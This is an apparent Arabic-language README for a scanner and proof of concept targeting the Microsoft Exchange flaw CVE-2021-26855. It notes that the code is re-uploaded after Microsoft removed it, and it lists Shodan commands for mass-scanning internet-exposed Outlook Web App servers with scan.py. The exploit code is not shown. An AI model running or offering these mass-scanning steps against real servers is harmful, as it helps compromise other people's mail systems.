ماسح CVE-2021-26855

ماسح وإثبات المفهوم لـ CVE-2021-26855

الفضل يعود لـ GreyOrder في إثبات المفهوم. إعادة الرفع للراحة ولأن Microsoft قامت بإزالته مرة واحدة على الأقل :)

مثال على الاستخدام للمسح الجماعي:

shodan download --limit 12345 exchange "http.component:'outlook web+app'"

gzip -d exchange.json.gz

shodan parse exchange.json --fields=ip_str,port > ips.txt

python3 scan.py ips.txt